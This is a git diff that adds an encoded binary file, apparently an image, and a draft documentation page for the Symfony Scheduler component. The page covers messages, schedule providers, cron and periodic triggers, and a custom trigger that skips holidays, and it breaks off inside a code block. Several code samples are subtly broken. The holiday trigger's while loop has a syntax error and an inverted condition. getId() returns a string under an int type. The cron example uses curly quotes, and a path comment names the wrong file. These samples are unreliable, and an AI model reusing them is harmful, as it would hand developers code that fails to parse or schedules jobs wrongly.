zf54o!D|Cx~Qg5LEJ3<on?$GONTfj7SNbMF_fZF7iHgi-_ZT9u#KVAHPlTiRW3xxt$
zii|6kHvnoB`U^FBLdScIp95wY{byN@z?&q9_`D+<+t-(3i<?^c(($^@EWEXKXVC9k
zYGULNIa<QWi!uXsw*O-);L*Oqwxhi7=X2QT<CJhVm8-kW_?6MuzWxOVG-XD2(^z#e
z|7%{L&4DzQEmw##x^YP|*Sg+9aNXXGlzSSuBRtjUaQr98uASpm!x$6)aW?*KWPn_g
zgdZOG=|tp1jgZW}Nh+1ZJ^imC*(~_B-Go*5pLOD_&>V(ZDMz`q)*tio^&SqYVh-Q1
zoE#yQ7NctZaZ~%eWd~-hG?9?E`Z>%*^1}l>9)%1hXIDzxzhY(u<hN+Hn7%&Ma*C!U
zYI~fX8Z=mU_6aAb2j$$-1%P}4uF^Ba!=|p^Yq#ayp9k>M7&zJWGrk5qz|U2IWiiE~
zyyc+f_fAyozAQUT$9)d$fr4kS{5Qz{yaF8u7HiBouB6gtByBOXDGX2l(Ovy3gafxx
zD(t)l^BH0U`C(6jB;Ry-rVuUWVar2m|BH|gpR9JAQxU_xA^OiU5a%n&As%SE>SESn
z<T@51D7lT)GmuIbd`uoj{8QvjpGCJdX)WEbuu(i}+NZsg7X9%33TIBiOjdP$@bidZ
zIsq(iV`ERAljljW)w|}hu--gXdI~VlXZ4?AbwUqW9{;mDA%XSt1C)f9N&sBM74r67
zO)KW~@=RY!vyi@|R!Ehr^1%%=_pj^yf7Ir+j~+W?KXfSG0v!sq?L6DuAu{EtNX=jV
z7^NaDV*+1ynyca-g!`yWHd!0T3tCEMUa65FZh?pMxgGzPjSLV-0ipL#YM6}sZpD`S
z2<6^01SL(11eRxidah5>L&P}#?60S87l7N!56k;mD1SMiL<JsTKz#x9qAU@#uCy|8
z8Ef$k%DvhNu)x~A`P<tnf3y=*mrDi+OTr1Gv^n9ue~e1nDZnijl12=CVeLS;0Q5e?
zZsCAMhKW&4T#m-e7~ab0g|7Cuz-AegBX+xZdV*nBR@4aCG(ChZ=ubx4v2`u>CKFo(
zINmGF>%~vZIjWC^$^I*-{{CkTpoA%1>3#-$L1y{n2?VanRI-OSHUly;v*w^c-7)>`
z?dB8x;^-nbk?s=hTSpHdSD(Yk9nV|-h&lhU^qp1Ee1M9pYQmpI-DM9O5!uuW$5p&j
z9hQLAGQ>P-uY^D24(z1@ipF<nzK`ldL|UVq{|tP77VvyRp1+>2A;?eBG~NnW-Vg(C
zc9ZhwLOPA8jP5pOD7{>QBJ`Fp!v~(wIpm`u`k#-LyvoCqE93N6UkMa($mnpVlwa&C
zgB%hRJZ2W!$CMJAzh`&o_m}o}5T>pzuZtRWiaNa<jQs3!b)_>SuJMg5UJ#h{Zh*w+
zrs`zT3oWBMcb)#{-Jo6BnjpIB*PhakhA`)(>PKSEdJ`NA?EUf<{I}Tj*L#ys0mepN
zo~O69yf5rEU`+z0<cw1L@cbk^h?41emEoYNjWozFT{$XR6mX1Cb~(Vry1T?#hj;{W
zDW)}E0c!C*l5MK4<KP0a^K*>DQeNTq0(yZ6z`UY>i#-@|6`JwsDmvzJ&iTRe;Tp~O
zkWa*sd8sy6&1<JCG9Gt|l{~qzqc)X9e~rS6*W<q6`&&Sy)X6QElKyGTI~wr6G1IB|
zY@vL!<ig`$>8d>&Q8S(9>?lKm>!xI;gA$vaCvWFQ`(SCZ(7T#_yNUy(HYF@k2pE(%
z*W)%KBp^a8OVXTkcYm>W9xkZ#xp5zIlnSm!?r(9{p^zu*&}+I_EG+YIGb^|X)cS_!
za8({YcYddSY9cXu>*C}a^n;l0wI06q-q&&V-dBks7=s!--!tBe@(TmZL;wN%aiDv7
zm^ONihrP1F3DnniEk-#pR|Z<*Kfb(qxLV&5-&M`5Q9%;ys@uFB*S(vf5hIAuy%S!R
zFxE;5oS03{PX|%`@c^LZKYf6h#F>$s!F>Leo>4G<)Re*E>sNc)seF<_Qn%0fJp2)`
zZZC}6E2=mNgxHN1c$8^jB^+`9A05om`X{be*GU$+n%$qY3KPg2E>$Po*t4MLHHvGe
zpQ(RtV4F`Qawsw01XLG;sh4@nrl^qutK(X*LDa@aA}5FumArmvXk*pI*=MLzXwUMV
zN_7&ZkvM$H$hl^9`kpg>iKAt{!Ep|Z*fA!!$xqL;(;E#%lQ0)ZluBPbmODl@3ahCJ
zzVp{{!W)6KCj`)(n|YAI32+WWUg(SbdAzodVKj<1<srWB8B0g|v@-d4k#`4lm|UOC
zmiIY)=23_|k{rXi(6gw8B>LpnXgM(SzN5gN{o#tQ`T=yqzIJb)5QQxh+jw=xQDyNn
z<x**%<<!zm*9Ed};_tj_)>(?B2|hadakC;UxlsC5(myY^s&h=h2heS14_~B!_6<z)
zZZ~l$7!p1>b_Gbz$cSF#K#>KRV;)!8BDD^~r1urd?#-q4pcFU9R`GuUux~vgnAV|-
zymYG6njyW|H+>V#IrTQ+^slL8J*=5xMuP!mzy|n37;P~FJcv@{fDWDA?72#38vzY&
zIj5e7oRMF1ZIx~aa}udv!SkG>J#R+{)^WJ32vms<3q5yj)h=Na&{7g}zFfGSw0L*E
zVOiQ69oZh!1wKm0Y@0BZKh}#lci0*WUA>VYk(cS_^t?buj@vkUAd&X%Y%0Ddq>v`E
z=2*)E-9~u_08KDYa@b!1#Om8P_(|;c$v!vbQ^2&wmJudZfd%tE?&^up>c<92Kux}6
zec}{5VUY6YXr|{3GlP#UzZg$6<EgENHyrukO!MGhArDtv&#D#)eO^PeH;Ff$#c<nV
zJ+V=ZsAT?`LK<JpRUE8Vl=+uNUS*g5rK>cd7HHby9zZs;`)wLCIs79T>X&vgFQy&D
zIJ5}4OxFF?(&A6(3eRgk>Yfat!3wjN?*P)p9c|i$M7Dgg*l*-kpfd@U$3U(f3m8Rl
z``;a!E9E#Cy#Dis0}SQRdloDGPA-BlStn|hbM<;sEt6SG9vF5o(QvOyf~ZeIEhN33
zm*kxR-h{JVIfysx0n*t3(xcSs?Jc2W#w#nK8qgz`AoCEuw3xz$2;HI@$qX?)XIidr
z2A{iXR>?{w&;ourh>-he$x)^3D*IIa3k>Aib8EouN99%MrIVR~w^2$Ud}mXQ+JsaT
z-%9y~C;fhyaJU;RtmN%cfl9<DfOvdY(jdA9(GuMz`Ys<%M{mB%#B~nDFA}ai%E&yh
z!1Z`A*^>IP5;%Bc*7fKYI4q8mKiDp|RBMdMbLsiu%fZoU)|-91%Sq!{SYw<2(<7|;
z9KWdA$Pn<I0#rhj6K++WcI_t~0Y9Dv)Po~}$L%Nz9V%FEe{RN9IR_dyHK_PCvn9f4
zezXm?a{XXp5?|LL2~z)XGMrbyMz;_WX9@!(Dj~3Ue)71Cu)_ZaKKy&?2Vl;mUz?0x
zuJ13dXogmwn$rQgKwcBfb+3}t2%uT}4uQ+4W0_V42}uCB@|0E6SwXLP9g={`UGe9u
zOFYYyq^nJ>;Ii0AXr&(wsOpBjDcC$LQJ6lcAojG)qL>+ytq@zs`vr&U42N{CL~MT@
zRYyNknNl$s;B!=ER(pY}Dt^8s!@Xv=%;kt7?@A$pe4(Yn$jn>YrV)8t6?J(^BAG0p
zW9RkT(Irb&^3;KXq=uYKMgdgKWSw2bS<HHm{OtwuYC{d9+M*cYQi{};l%b#ARlbzv
z2tYrIZ;&szQiTB=Kz(k}k1&?*f)mS=d9P3j{?GY{Cj~zHkz(Deek5no^01RzlDV>*
zzcI_=0rx9#8%goL*62MQa3s|7D`=TJ$N+i?NhlNmGlVbI9>r5%c@qm=#;)iRcjgS$
z<d#pY(@f%~+g^8K(nePK^ynheZz3H^;~;vnR<Mhs*wwv@wToam5@H_VuBC4xd=Q~K
zwmy@^ekv01i?5}C>YRAoD<=8Ah(OIsmp8ty$*!sKEkKC?K9zS?7a`zMn3+wk0K;5K
zXIqk@%?J;$SZirQa0v)dTI--#Q>iF+w?c0CbK&J{E<|k7jn}7wE>+ljkz-X~4)6)`
zAB=q#i_cz5Cmg?CzrO*kP+MW-{zjjah0_ZWt=o7?mT%#El>G4782}%h+zwa6iKZKA
z{36~W&{9<X#w#Upgd(0Ez^seK08&QgXx69a&j$#3A{&l0{8JuG<bpPpJJmf6Q}ZAV
zJi&19$J+GOHGZ%&nBT5&#9dGl!GFp~4!FJ@e!NQkv-x5J|BVDl%M~}baq+Vx1{2pa
zP5LLm7ztr{MZTZ)jGXq)NlRP1|M<-EhnW5=(9=e|4M#(A@HbUY2`xehAoPL=l@<x=
z=%bTro3X@hY`i03&vFL~0X-rG0{xTGmx{%2#}Kvr3lj9BY1Uf9bK8THJ(5JNn_Usz
z7c`1;lD$F@_4QEO&-N{-#n%St2KrSjGR>5<!0eftVZN)>m7XS@wFD5h=G!NV2<omz
zd!In0s0L(p67@s(+r;m^gcsc97rDM?9lgdh$x<CWvzDXy)}=2oanb1sno06PK?rce
zh%3>5(j5)>1!`Gu!7|KCF%z7U#%go#!m5`&_-neO9RUvA%OwMphur7;ECgNud7A$f
zR&CK9qlowEOB6ZSskVOYOaqv=O7D`ogB^~KD>7r^5CdxzRfg*RX7k|ygZ>Lb?{rDd
ziWFrS!<exm7Udlq8n-;tet=%!FXcCi8GvjvMj>VL^Xv@>ed5!BHJ~mUQh9Z;=M%1+
zoUErj1-MHXL{3&_H*%)E7FhUTuF88G(imKJIzIOvcPtc97NS2cZlycllGwBj{|O-L
z>0je<n37&Y4@vr;r=<I9Jqsv!aidrk3oYY$?EYZc*@FBy4c|KJh(sx<Ju>qjV)1{y
zsO9jTU(lj9>3==7C<3Q;_~n!Shs#z>$OqJkdA~{Psl`tuq5kxEiE(#J-q})0feDE@
zRZ~e#;U4&GD&qw&0kBmB=)>kUW-S$|0Da`PME1-?jmL-QIQc)vpS2SJ24Lf+p|6wa
zI7^Kgtv9g<B<*%DPeGXveo_R9DmvpAo#&H--Bu*Hui<tjr@!{Dd0&2>WOuTq1N?5O
zF7sBdqEW;`wt?(}R^)BR0*Y556<n}@a?e<WkZ=a;pGwCE^GgS`p1F#!a!v-j@J=pM
ztU*fLa&_EeZ%<n3_Qg;7TkUd6VS=kzyQ3J$bs2ICPnF&0dDfJ8R7d3czdi^fut;R3
zK3*5fjQg=$h_E{t%w9(><R9&U1FjoIwx()T(jMeM01!#CAke)=Ip7W&!bbZ3L+1Bj
z_GARY>-f5yZDew;U2k$HAb1=ec-J+i`xpfClFR@*JRt;f+y9prt|Sb<jCH0wy3HI<
zby+zE_P=)Ff9}qBzz236rEjrx*l5Zo!rvm8yH_eNl)#4vl-NdSfGUT1A;KAQa9XJ1
zplSZWxwUjbN!jp7q_YyxELs0pbOX$9<gZrWgPcUDdA$=EzwAgD!Etwbn12VhVxv$S
zH6ZH>Ii9xFKMQ>@e+%Gtuws&VDSh1?jyr3<;Ns${kOgYf8WrC5h~zS1TlcVO#IEu@
zo}S#30Rzq1hm*HVwnPk`gPPQ3yr{HgYPH?4r7c&qbB4K4he7aZQGwB6-&M5TTwL>x
z2wLA;e$4pi?CTMXwHUEClq#mmsX1xC&|}Vyvb7Wv6~WeY448sI!A(5A<weDZk09=+
z#xj&h-}Zd{L`BdmXH5mAB1J>r3FcGNmLr%wek_PLgPvtjnEA6U!>z*r#7B4>G?^m`
zry%&fA;+579if*z+B2!@vYA;wj`N$uYo@x(flWe(MR({e7<zl_4OzAg*FAuC1$@Bo
zzvw2EOvRi-V}CBAz++|nMXp+f{t{MK6{dZ0B0q(jl@hYQ)ZH=FND}hma>t7B#Nm7j
zj7w(&HXFXSZ=HQ7RJCs<aWk#aEjBefF|<JU>>8zZ)wf)K=|qkp<YTV@XZx$FF_Z2_
zt^P~*o2E_idN_-vtog>#Q?hSbhg>l2I>E~Vmzr0R`2uI_?an{mMie3<t1&dQ&3a!J
zA(sL`yl*5zwj4&d`$AIY_K{)qKy@ftod^*OECL$wTi{cN{(j+0fM{8Nsa1C2K-8<h
zo~33F3}7XjrtEO@kd~+HT;QhU-RHv8@C(6BEm<%#Wt#nD`o(v+fF?NXot>=f*zT^5
zsT91hA%V&o*CP{WXI`fRyOFAT&{Ey+K^}Xb?<BZhi{FODLbeub`3d>%CqB<!-cKFI
zJ?Btcu+ysa+>R5xhv#5xy24_)y*as0Z9J>|fHWR>`(Dvn$1E`N2go@+G1sna2@Ea0
zGyxBF5ApGH&&6F@;P(q$)Zc963v5x;5$6}T9FZYqdA`+54ONjR_hliMe+Mxd{kk{9
zd(g9*b#To@D9p;K^7p9!9)8O-)^rT4f`veX%N`6l>yV^g0zVDc=}GId70odB>K6IT
z4r7C?D-!aptigQ04%Qg9HenU3@uk(`#r^i~V5kf##AEL8OsY=LiacZXi$9cLAdrfu
z;5k?I-Sy@1cv}ssX;{L?fq}?L&Z8~uV`*MHh{VX)1pARPc!`zq{w*7koi@1oOnfL#
zM&hljvc0DX*kOGm)(N+F{syHI8h;qU7W2v_+d+DBXPTCI{YERx8j7>_DXS2seS)ar
zb@d(hOwp8}&)ZyB^IYkO0O1XB;S;9jn>E%2xp~2VTjk&5Wp;w)Sb{F7JM6-D5Bl~0
zV59S0UW*?35?7<kmftqueY2!)-#PPn)*b(Z05{j+T@CHR<|-6@+bQu$guR?Z9MWU}
z(!{8HOf@{{<sE<P`Q-vuzjdSePmtkBaGrR-Mm(~)9DdxA$NTRMmvcr#Ibl^}#+{8?
z2lNf@b6vUuXi_-uxwdBQPbGPtbJqAi$vKs-5q{-@tajQ0nSeAH9q%jfxa%<HYP|Pd
z9+>Kg`(R@P{}{$yHhp*)w^PF*%jw{;f_F=+0<;YrwDQCALR;`a`hUh)+6~76Jv&f8
z-4=Ck4Cm8$3+(3&wI)hq?TZXS%=Z?vqzkh4KVO(Ny*eet%{@)1xH>hep^~YANY^~t
zcaK4ujPqV;Dm#E*+L^POyEHiMNO0{G&pQ4YZ)LH2Ym{#>Hf(c{*Q|MA)-+f>seS_q
zjkXdc+Tl^&c9*dSYw*~Cf#Jc=kF?kh23m)9eSUgKTyuR14yRB{<H=tvn`J)FEfKNn
ztJIbT18aD;-8PsbM>#Z086kanX6fn3eZRO6eJ3rDW+m5rd3L=x*IWgHR`K;#<s9Ff
zEjd{gSXn@=rY<g+77W=+WV-CpaG(1M9TNA(k6xZR?4}8wL@m67?#7?VoyfKd$ylAF
z6^x5zR9o+YOQWcsjJ++*wbRbl3dN3s;^i5)W#>!i5Ngj`m}6=giwvyAfmY8KyQuy?
z8vlfdmIR#Xy9%PNL^&PK+*jooxRV33R2yD57DiJB3#iSnKu~+(@|5)r!OaRh+(8{j
zi*dHFi07#DuXepp?zdcSf(5Jcp34L_^BTYRRGL{BilfrMs6X`1TKZ`8xr+RSI&>8p
z&hG39!d&@iqmHx9LxP{`Y%9%oyP&}7ZVhH}^LC_nrB8L4N(z`i_}G^OCApA<#PHN}
zT78*Z+nx^tHwuj2=FIuzUM6|9vMX?!EZN6*YzXk-N)_|ETgbjn7oTyZ@N{BhPCk|k
zl{yR}VD{MFtapd7s?J}ODK?o2-#}?N$>;2I=a!v7IxmY3?}Y053(Ku;Ou*4Uz%)1x
zMTITQI4dFK{~k5}o}?Ds7t<&Gw+81jY7u1`muc3(ZaZ7{y>Gtytk^RNZUcdV_xY}^
z;8rq2f3q;QR~U|6L7EW5R5CT0?h>WNe$F+QY~PZZ{dhXsU>0r)h1P1!#tTmle3)`S
z7Y$E*0Ud3+hxv9efS*-y{_Wk;;{?L(hL^jS5>CQWP9pd_@6v*#(!T7vBdd5X@sr&*
z?{(1`-g_>+DtEs@%&SXl%&P3%`kE3In9Z$LCC1|FLgv|G*h98`IlgYv6&L8OR^2au
zIt%R8JGyY`)cnS>Jw7-5F<WNy5Q%|k_oU4GV1e%F_(s>c!$L@uUjr+@vzm1-HS>=F
zMVgp@w#UD}xW=45NrE>x4^vyKxKb$OX7$y7owkj`6!NTu-%HuJn(9eA8|?gMF4N&C
z?`)dK2MeFr1I_78Tw3+rF(VP(Iig!7Ue}qqKK}hFXP@K1SFc!?PM4cyc+Nc+7M6n6
z(=^%Es)PqD#Gka2OUPC$Hj(WZ$9fmq_rOHuu@Ujz_iQaTn)NVF*k^Km6qCN6F228?
zPr-(1Untnu`R{x0*9zi(hS^7j(5rg7EaN6$J17k*>Zy-SV>(!0X^$V?-fbez_u9C>
zW=^&}3ud`*dq2HXT|^hh*i6p>S?T_4ETCM<k-zGMSIv9Vt$wk5Dbig|F}Hm_U(lPE
zjHR?_uY(!VTa@XvGJQ1WE~&3y|8ZNs8<_9q7UsIvj;U0PvB3uOe68m*&1;EpW!KJN
zyc3VA<b0{>@D%$6hPrRzEzH0NJIep}mGx`B*Ob!vp24dE_kCJtgyMt-BJvo`glx)7
z2mYgP`6>MF@y4~lTo-IIev#-toWF?U+t)If8JOw{NSlA}1QCX_Fye_flU@p*zWLTU
zGB%>Ku{SL99KMm+So@}xWGPVnpwAJ1GPY&`*8+TbZl8Bs^_;yV<r(srFV!n(uIZc8
zsL=+j+XYh|fzeC+;_Hq0>ai?tS$0afFxh%N9GLxuAH>Y_13#_B|0g^Hhsd{#av0LR
z)K!S8!#kO~VAFiN=%jYS*g|tZJ4z&FQ_IEyxfB09+t2=^erJ`%8iM{=cHeSZi5lDR
zPQSY&`-LnJR&{ty=QHr!sx8AWC?Z5}S5Z3?Z9Lyp^PU6>zBgg2XHP`=CXnx0t2uU^
zb4uXya2=K1Z9tZ#gim0nIt-V-Cft1-m;J_n6jcu9(TeX%JoKQL^gJBg(gasqrd5_{
zmsW4L>WVB>Y8Wl8PxHvvcW&?SfYEjju8nQRP`t76@Uqswgc`OfP>IN_)@GE*RbS3u
z%|U~)B$#K8e<%rG?m8G(LQ!&r^W+L;!CN<`(>Awq-<_xy@uR@IMPP_c?@~(Ot+Gmr
zZg<+%g{jx-o4Rkw|KH2Kx(p4i7Cro7a%`BrGaI*^lZRrFCmm{V(qw$+w>4AAQqS={
z?BIMiljnL*Qedh$d{70{-W+Y?TrmNJ>z&P435`lNY58V&X|Pr@3i+VW;*S=Y6;`f}
zRaIh}Ax32s&)$$dn+@RUgA2$hJ@s{$yv$E3bH*ST3|`4@%H*jNpW2Bnqj1&L?;evw
z<~$1;!U6KX?cwVj*NKA(j1)R8DSe}<!q^-uS<d?%$mpFIubw~8B%9oqfO}o}8>M8f
zH*WRZQX46tArZWBC*FIP(MgqM+H%&r?9-C4uJ(vtS;2N?Qf7juJ!XI0@o3ZRzTs=n
zDyw&g=Bfm>W%M`^kzeAXl=*L4(+_~`Nr%g?F7i|On5ZVi5Re@zlo2WZ6tCa%!*NIF
z)vM|>5T|t(xk)1;Aa}2oN6cm;^}eVdv$+<FYQqw<`XPx*&iuWy^!V9-=E{F%QC)D{
zX>M$)Iv+1^)tK*jpCKThR%*@^Rp~>PI@UsQj7m!PmC2dsQNoq}7<7nBcVSYb(t={+
z)5><Ay!36c#z4b8pxmNu8t8yi6B$GAUN?7wY1d|mH~8c8zY6#k8%Y^-w$-ec*kVO!
zJoa5qcz^Rg)g_~uB-eALNC9`MvEOii@G)#agVJ2nf93msjo~R=y(;eux<$`f+~hi%
zO_jHL2~)9iryn_Axq3+RZt}S|e|`1+tsdYiUH{@g>V<!9zVK&`AoDP+L++2=jH5{{
zgqXk}1n+p4>T_|GaFz%=zqxN(1F?6W;oGM_4};0~fW0X5JTv-KrP92+^6jZEm?I=w
z>*l59U1vm=;db=>>>cs2S~`oX&2skIy}v6jY=EmaJNqBs53xAR!tRvVE*#ZHzCjKK
z@moE3xSgHoJR~q$rx~mBQJbYB4z97`E9L*qiXTE!Ar^3iNaCQYyG2f3lw!blj;YdK
z4p60~Xd(FOTgS^T|8XgM0^iErZm4@5*j-br#sdFkTF`eT*)z*%#3b`8uTjF3@WZq!
zasEAN|9)4(o{$dDyzF1Jv(zb6dC0oN80EEa7!I2#%r{?gomjk{R?<so6;;6a<1ZIV
zrsq+`rMN1q$n<^ymiQ~8G}r9{%R&AfI7>xu>yY)2zlETztv90~F7D{8cE@l1Fz^M6
zVaFf%1}op<_loCK&iG;4Lr(CL|KolBvw;+SjW!!8GqavN1^#%UP`W+@o#ndiQgnP=
zxzhtSK&9*p<)3HQ5{X{dR{P9yCV8J!1-KJ@(Gl1h&th4wGs)?t7j@Mc0$WNoRY!UM
zdD6eX_^R)_zL|o?hd*UfE0lu{tgMSK5HErykcy?-+Gdw|HuD2pn8ibLl>Znv)>P8Z
zQ>a8Q>)BlybQgdn3Oc50WKWcPkETGaoD$Gdx)V3<_wUd9Cv1G>^PLQp4L)GEnxT^x
z1%4A(EPZ$y^TkpbGv5Cjzjf7&c|UD+4bHs3wGw-9?G((|`{c@tyzH~SdqIVfgI2)q
z`;LY`|70(=D1N_+O;952>!(@3YjS}mqvx<qiW?qn+U^qm`cjU_VlJQx9`%55`LpVC
z1s})PN4ad=buT<3?-kSGBCT7Pnn5B7A*^9KHnzK_*_y6Omg)h<=Tw1=ikGXC4n^yC
zJnFHWDq%M{nTyAGr%sm=+`~u=hf>ZpJ06{RQT6NNt65WS3Md4GGL^E+37yTiQGXTx
z<I<{G*FDsf4P-he*<o=$&;=X3nY7o}xtG}eJfYY7FbU{|o?Q+L1-`bQ>Hm0qzSvj&
zU#A1*?ev+scs_3mdWE%Z?a;>>7Pno&O1@g-xN(3LBhyutfEfmwv*Lc<%CLI%eo@)C
zJ6W@C`JHu5*b$tght(Sljk1CnyZ`-pQSs!vbx|kqmTCcs&_)xLoQji)7k_juUi9$7
zPr;+N0%h&bH*@lQ-cyyOjuZ&+T;Slxa_e4wVu{U{1iw|GYK%;wiW69xN`K2qd}ZIi
zMnvSA?R!^2Q`1nxtrzFD94Of0+KaW}!^qUkax1SQyyVYA^X6NoplAwb<@(ASc-hFd
zD>&Wt?V7!dEwbaToUM+#a?VzP>uc|Bt3NY##3fj$O}nXrwGiEq&bljnyDP8|>Uj6=
z#mkp^wae}+|GfA4O?t`qDRt9-<z&BpJ9*CQ%iD5$?2>bHtJmExemqS+`SxD+Uh5Ls
z%--hXwPkkauU)$QIfi%XtjQnQuic(}&h(N!AJbL6fDVnn`LEMOE}eg(x&KnS;?Jl%
zzpljpiqvsiXm(T0q|#_ZK=}Nc_1;YT+cZo}rZw$%y1YXJ*!7!Lcs4L&o`mU1vBgI{
zgBKapIc-%AtEmH)EW*H<6Ku&Hl7<`K0BhsTyUnzevBd#2G6D)28xxOq-o@6igqiJ7
z#>&!mGgf*ku&}_XZpDs<0~;P40TqHUeHaXd-Aqh}->mCBg*}r&bcVz@0GA>qnd7lb
zVL~j>)n(V+Qn6<ih#R!@6b#l_Y?Q_*4UlX<v995O!S3wEM!18Kkx5is0C<7g4PGRD
z7>-K`2iEv^w+2e$^gOVb?&9X)(e``8hR@ZTv=t1_yt}mmRL0;^=WrAlA)@MK%s5p5
yHQy8!kVq@f4FOiZI89pc2pA!w$!O#zqkr-}?g{sv&lhQ900K`}KbLh*2~7aM|7;up

literal 0
HcmV?d00001

diff --git a/scheduler.rst b/scheduler.rst
new file mode 100644
index 00000000000..cebf6b0810f
--- /dev/null
+++ b/scheduler.rst
@@ -0,0 +1,378 @@
+Scheduler
+=========
+
+.. versionadded:: 6.3
+
+    The Scheduler component was introduced in Symfony 6.3
+
+Scheduler is a component designed to manage task scheduling within your PHP application - like running a task each night at 3 am, every 2 weeks except for holidays or any schedule you can imagine.
+
+This component proves highly beneficial for tasks such as database cleanup, automated maintenance (e.g., cache clearing), background processing (queue handling, data synchronization), periodic data updates, or even scheduled notifications (emails, alerts), and more.
+
+This document focuses on using the Scheduler component in the context of a full stack Symfony application.
+
+Installation
+------------
+
+In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
+install the scheduler component:
+
+.. code-block:: terminal
+
+    $ composer require symfony/scheduler
+
+
+Introduction to the case
+------------------------
+
+Embarking on a task is one thing, but often, the need to repeat that task looms large.
+While one could resort to issuing commands and scheduling them with cron jobs, this approach involves external tools and additional configuration.
+
+The Scheduler component emerges as a solution, allowing you to retain control, configuration, and maintenance of task scheduling within our PHP application.
+
+At its core, scheduler allows you to create a task (called a message) that is executed by a service and repeated on some schedule.
+Does this sound familiar? Think :doc:`Symfony Messenger docs </components/messenger>`.
+
+But while the system of Messenger proves very useful in various scenarios, there are instances where its capabilities
+fall short, particularly when dealing with repetitive tasks at regular intervals.
+
+Let's dive into a practical example within the context of a sales company.
+
+Imagine the company's goal is to send diverse sales reports to customers based on the specific reports each customer chooses to receive.
+In constructing the schedule for this scenario, the following steps are taken:
+
+#. Iterate over reports stored in the database and create a recurring task for each report, considering its unique properties. This task, however, should not be generated during holiday periods.
+
+#. Furthermore, you encounter another critical task that needs scheduling: the periodic cleanup of outdated files that are no longer relevant.
+
+On the basis of a case study in the context of a full stack Symfony application, let's dive in and explore how you can set up your system.
+
+Symfony Scheduler basics
+------------------------
+
+Differences and parallels between Messenger and Scheduler
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The primary goal is to generate and process reports generation while also handling the removal of outdated reports at specified intervals.
+
+As mentioned, this component, even if it's an independent component, it draws its foundation and inspiration from the Messenger component.
+
+On one hand, it adopts well-established concepts from Messenger (such as message, handler, bus, transport, etc.).
+For example, the task of creating a report is considered as a message by the Scheduler, that will be directed, and processed by the corresponding handler.::
+
+    // src/Scheduler/Message/SendDailySalesReports.php
+    namespace App\Scheduler\Message;
+
+    class SendDailySalesReports
+    {
+        public function __construct(private string $id) {}
+
+        public function getId(): int
+        {
+            return $this->id;
+        }
+    }
+
+    // src/Scheduler/Handler/SendDailySalesReportsHandler.php
+    namespace App\Scheduler\Handler;
+
+    #[AsMessageHandler]
+    class SendDailySalesReportsHandler
+    {
+        public function __invoke(SendDailySalesReports $message)
+        {
+            // ... do some work - Send the report to the relevant individuals. !
+        }
+    }
+
+However, unlike Messenger, the messages will not be dispatched in the first instance. Instead, the aim is to create them based on a predefined frequency.
+
+This is where the specific transport in Scheduler, known as the :class:`Symfony\\Component\\Scheduler\\Messenger\\SchedulerTransport`, plays a crucial role.
+The transport autonomously generates directly various messages according to the assigned frequencies.
+
+From (Messenger cycle):
+
+.. image:: /_images/components/messenger/basic_cycle.png
+    :alt: Symfony Messenger basic cycle
+
+To (Scheduler cycle):
+
+.. image:: /_images/components/scheduler/scheduler_cycle.png
+    :alt: Symfony Scheduler basic cycle
+
+In Scheduler, the concept of a message takes on a very particular characteristic;
+it should be recurrent: It's a :class:`Symfony\\Component\\Scheduler\\RecurringMessage`.
+
+Attach Recurring Messages to a Schedule
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In order to generate various messages based on their defined frequencies, configuration is necessary.
+The heart of the scheduling process and its configuration resides in a class that must extend the :class:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface`.
+
+The purpose of this provider is to return a schedule through the method :method:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface::getSchedule` containing your different recurringMessages.
+
+The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute, which by default references the ``default`` named schedule, allows you to register on a particular schedule::
+
+    // src/Scheduler/MyScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            // ...
+        }
+    }
+
+.. tip::
+
+    By default, if not specified, the schedule name will be ``default``.
+    In Scheduler, the name of the transport is formed as follows: ``scheduler_nameofyourschedule``.
+
+.. tip::
+
+    It is a good practice to memoize your schedule to prevent unnecessary reconstruction if the ``getSchedule`` method is checked by another service or internally within Symfony
+
+
+Scheduling Recurring Messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+First and foremost, a RecurringMessage is a message that will be associated with a trigger.
+
+The trigger is what allows configuring the recurrence frequency of your message. Several options are available to us:
+
+#. It can be a cron expression trigger:
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        RecurringMessage::cron(‘* * * * *’, new Message());
+
+.. tip::
+
+    `dragonmantank/cron-expression`_ is required to use the cron expression trigger.
+
+    Also, `crontab_helper`_ is a good tool if you need help to construct/understand cron expressions
+
+.. versionadded:: 6.4
+
+    Since version 6.4, it is now possible to add and define a timezone as a 3rd argument
+
+#. It can be a periodical trigger through various frequency formats (string / integer / DateInterval)
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        RecurringMessage::every('10 seconds', new Message());
+        RecurringMessage::every('3 weeks', new Message());
+        RecurringMessage::every('first Monday of next month', new Message());
+
+        $from = new \DateTimeImmutable('13:47', new \DateTimeZone('Europe/Paris'));
+        $until = '2023-06-12';
+        RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
+
+#. It can be a custom trigger implementing :class:`Symfony\\Component\\Scheduler\\TriggerInterface`
+
+If you go back to your scenario regarding reports generation based on your customer preferences.
+If the basic frequency is set to a daily basis, you will need to implement a custom trigger due to the specific requirement of not generating reports during public holiday periods::
+
+    // src/Scheduler/Trigger/NewUserWelcomeEmailHandler.php
+    namespace App\Scheduler\Trigger;
+
+    class ExcludeHolidaysTrigger implements TriggerInterface
+    {
+        public function __construct(private TriggerInterface $inner)
+        {
+        }
+
+        public function __toString(): string
+        {
+            return $this->inner.' (except holidays)';
+        }
+
+        public function getNextRunDate(\DateTimeImmutable $run): ?\DateTimeImmutable
+        {
+            if (!$nextRun = $this->inner->getNextRunDate($run)) {
+                return null;
+            }
+
+            while (!$this->isHoliday($nextRun) { // loop until you get the next run date that is not a holiday
+                $nextRun = $this->inner->getNextRunDate($nextRun);
+            }
+
+            return $nextRun;
+        }
+
+        private function isHoliday(\DateTimeImmutable $timestamp): bool
+        {
+            // app specific logic to determine if $timestamp is on a holiday
+            // returns true if holiday, false otherwise
+        }
+    }
+
+Then, you would have to define your RecurringMessage
+
+.. configuration-block::
+
+    .. code-block:: php
